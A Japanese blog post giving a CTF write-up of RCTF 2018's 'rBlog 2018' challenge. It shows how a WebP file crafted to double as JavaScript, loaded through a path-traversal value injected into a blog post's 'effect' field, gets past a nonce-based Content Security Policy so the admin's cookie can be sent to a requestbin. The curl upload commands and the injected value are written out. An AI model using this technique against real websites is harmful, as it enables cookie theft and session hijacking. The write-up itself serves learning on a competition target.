こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

RCTF 2018 - rBlog 2018

問題文

get `document.cookie`
http://rblog.2018.teamrois.cn

f:id:graneed:20180520230333p:plain

writeup

TitleとContentの入力、Effect(投稿記事の後ろに付くエフェクト)の選択、画像のアップロードをしてBlog記事を投稿するサイト。

投稿した記事には、 /blog.php/1a3adf09419b7deec1fa31eba3dce1fab4696ee5 のようにURLが採番される。

Report Abuseからadminに投稿記事を見てもらえるようなので、
document.cookieを自分のサーバに送るスクリプトを埋め込んだ投稿記事を作成すれば、フラグをゲットできそうだ。

まずはcurlで投稿画面を確認する。

root@kali:rBlog# curl "http://rblog.2018.teamrois.cn/" -v
*   Trying 207.148.70.35...
* TCP_NODELAY set
* Connected to rblog.2018.teamrois.cn (207.148.70.35) port 80 (#0)
> GET / HTTP/1.1
> Host: rblog.2018.teamrois.cn
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sun, 20 May 2018 14:06:00 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.2.5
< Referrer-Policy: strict-origin
< X-Frame-Options: DENY
< Content-Security-Policy: default-src 'none'; script-src 'nonce-d5e8e7861922fbe3f9284a68ce2d7d60'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'
< Vary: Accept-Encoding
< Content-Length: 2835
< Content-Type: text/html; charset=UTF-8
< 
<!doctype html>
<html>
<head>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
   <link rel="stylesheet" href="/assets/css/bootstrap.min.css">
   <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet">
   <link rel="stylesheet" href="/assets/css/style.css">
   <title>rBlog 2018</title>
</head>
<body>
<div class="container mt-3">
    <h1 class="text-center">rBlog 2018</h1>
    <form method="POST" enctype="multipart/form-data">
        <div class="form-group">
            <label for="title">Title</label>
            <input class="form-control" name="title" id="title" maxlength="200">
        </div>
        <div class="form-group">
            <label for="content">Content</label>
            <textarea class="form-control" id="content" name="content" rows="10" maxlength="2000" required></textarea>
        </div>
        <div class="form-row">
            <div class="col-md-4 mb-3">
                <select class="form-control" id="effect" name="effect">
                    <option value="">No style</option>
                    <option value="three-waves">Waves</option>
                    <option value="canvas-lines">Lines</option>
                    <option value="canvas-nest">Nest</option>
                    <option value="canvas-sphere">Sphere</option>
                </select>
            </div>
            <div class="col-md-4 mb-3">
                <div class="custom-file">
                    <input type="file" class="custom-file-input" id="image" name="image">
                    <label class="custom-file-label" for="customFile">Add image</label>
                </div>
            </div>
            <div class="col-md-4 mb-3">
                <button type="submit" class="btn btn-primary btn-block">Submit</button>
            </div>
        </div>
    </form>
    <div class="mt-5">
        <h4>About rBlog 2018</h4>
        <p>Store your secrets here but don't do evil things</p>
        <h4>Report Abuse</h4>
        <p>Report to admin who is using latest version of Chrome Stable</p>
        <form method="POST" action="report.php">
            <div class="input-group mb-3">
                <div class="input-group-prepend">
                    <span class="input-group-text" id="basic-addon3">/blog.php/</span>
                </div>
                <input type="text" class="form-control" id="reportid" name="reportid" maxlength="40" required>
                <div class="input-group-append">
                    <button class="btn btn-outline-secondary" type="submit">Report</button>
                </div>
            </div>
            <div class="g-recaptcha" data-sitekey="6Lc5HhkUAAAAANbTN3ZOFwAPKFS76O8Abd5kIfk4"></div>
        </form>
    </div>
    <p class="author mt-3 mb-3 text-center"></p>
</div>
<script nonce="d5e8e7861922fbe3f9284a68ce2d7d60" src="/assets/js/jquery.min.js"></script>
<script nonce="d5e8e7861922fbe3f9284a68ce2d7d60" src='https://www.google.com/recaptcha/api.js'></script>
<script nonce="d5e8e7861922fbe3f9284a68ce2d7d60">
    $('#image').on('change', function () {
        $(this).next('.custom-file-label').text($(this).val());
    })
</script>
</body>
</html>
* Connection #0 to host rblog.2018.teamrois.cn left intact

CSP( Content-Security-Policy)のチェックが厳しい。
script実行するにはnonceによるチェックを突破しないといけない。

投稿画面の入力項目を確認すると、2つの脆弱性を発見。

  1. Title項目がサニタイジングされていない。<script>alert(1)</script>を入力するとそのまま表示される。
  2. プルダウンで選択したEffectの値が、投稿記事がロードするJavaScriptのファイル名にセットされる。
    <script nonce="2214830e1c9cc417fd37babcf83c81c0" src="/assets/js/effects/styleの値.min.js"></script>のようになる。

1は、CSPの制限により実行できない。
2は、JavaScriptまたはJavaScriptを含んだ画像ファイルのアップロードができれば利用できそうだ。

画像ファイルの拡張子でないとアップロードに失敗する。
また、拡張子だけ画像ファイルに変えて、ファイルの中身をJavaScriptにしても失敗する。
よって、画像ファイルを改ざんして、画像ファイルの一部だけスクリプトにする作戦。

何の画像を使用するか検討する。まずは、各種、画像ファイルのアップロードを試す。
jpg、bmp、gif、pngは、ダウンロードする際に、Content-Typeにimage/が付くためNG。
webpだけはContent-Typeが付かなかった。apacheの設定が甘いのだろうか。

webpのファイルフォーマットを確認する。 WebP Container Specification  |  WebP  |  Google Developers

RIFF + WEBP以降のファイルサイズ + WEBP + データのフォーマットのようだ。

なお、出題サイトがphpで実装されているため、imagecreatefromwebp関数でチェックしているものと想定し、ファイルを改ざんしながら、var_dump(imagecreatefromwebp("ファイル名.webp"));で随時確認する。

まずは、非ASCIIとなるデータ部をコメントアウトするため、WEBP以降のファイルサイズの先頭2バイトに/*(0x2F2A)をいれる。 f:id:graneed:20180521003027p:plain

2A2F=10799であるため、WEBP + データが10799バイトになるようにファイルサイズを調整する。 0x00を後ろにいくら足しても、WEBPファイルとして認識されるらしい。
最後に*/でコメントを閉じて、先頭のRIFFを変数と見なすための=1;と実験のためのalert(1);をいれる。 f:id:graneed:20180521003159p:plain

root@kali:rBlog# curl "http://rblog.2018.teamrois.cn/" -F title=a -F content=b -F effect= -F "image=@alert.webp;filename=alert.webp" -v -L
<!doctype html>
<html lang="en">
<head>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
   <link rel="stylesheet" href="/assets/css/bootstrap.min.css">
   <link rel="stylesheet" href="/assets/css/style.css">
   <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet">
   <title>rBlog 2018</title>
</head>
<body>
<div class="container mt-5">
    <div class="card">
                    <img class="card-img-top" src="/upload/images/4daccad65173686b0d0311fabeff9141.webp">
                <div class="card-body">
            <h2 class="card-title">a</h2>
            <p class="card-text">b</p>
        </div>
    </div>
</div>
<script nonce="a1da70370b79aca3ab8c3f36bd23c67e" src="/assets/js/jquery.min.js"></script>
</body>
</html>

ファイルのアップロード投稿に成功し、ファイル名が採番された。

次に、アップロードしたファイルをロードする記事を投稿する。
effectに ../../../upload/images/4daccad65173686b0d0311fabeff9141.webp"をセットして記事投稿する。

root@kali:rBlog# curl "http://rblog.2018.teamrois.cn/" -F title=a -F content=b -F 'effect=../../../upload/images/4daccad65173686b0d0311fabeff9141.webp"' -F "image=;filename=" -L
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="/assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="/assets/css/style.css">
    <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet">
    <title>rBlog 2018</title>
</head>
<body>
<div class="container mt-5">
    <div class="card">
                <div class="card-body">
            <h2 class="card-title">a</h2>
            <p class="card-text">b</p>
        </div>
    </div>
</div>
<script nonce="470532bcd9e5bd79c9138a88cad3e6d4" src="/assets/js/jquery.min.js"></script>
    <script nonce="470532bcd9e5bd79c9138a88cad3e6d4" src="/assets/js/three.min.js"></script>
    <script nonce="470532bcd9e5bd79c9138a88cad3e6d4" src="/assets/js/effects/../../../upload/images/4daccad65173686b0d0311fabeff9141.webp".min.js"></script>
</body>
</html>

成功。ブラウザで表示するとアラートが表示された。

同じ手順で、document.cookieをrequestbinに送信するスクリプトを埋めたファイルを作る。
f:id:graneed:20180521004119p:plain

アップロードしブラウザで表示すると成功。

最後に、Report Abuseのフォームに投稿記事のURLを送信。
しばらく待つとrequestbinにリクエストが来た。

f:id:graneed:20180521004227p:plain

GET /rdamwrrd?q=ZmxhZz1SQ1RGe3doeV90aGVfaGVja19ub19taW1ldHlwZV9mb3Jfd2VicF9pbl9hcGFjaGUyX2luXzgwMTJ9OyBoaW50X2Zvcl9yQmxvZ19SZXYuMj1odHRwOi8vcmJsb2cuMjAxOC50ZWFtcm9pcy5jbi9ibG9nLnBocC81MmM1MzNhMzBkODEyOWVlNDkxNTE5MWM1Nzk2NWVmNGM3NzE4ZTZk

root@kali:rBlog# echo -n ZmxhZz1SQ1RGe3doeV90aGVfaGVja19ub19taW1ldHlwZV9mb3Jfd2VicF9pbl9hcGFjaGUyX2luXzgwMTJ9OyBoaW50X2Zvcl9yQmxvZ19SZXYuMj1odHRwOi8vcmJsb2cuMjAxOC50ZWFtcm9pcy5jbi9ibG9nLnBocC81MmM1MzNhMzBkODEyOWVlNDkxNTE5MWM1Nzk2NWVmNGM3NzE4ZTZk | base64 -d
flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012}; hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d

フラグと次の問題のヒントをゲットした。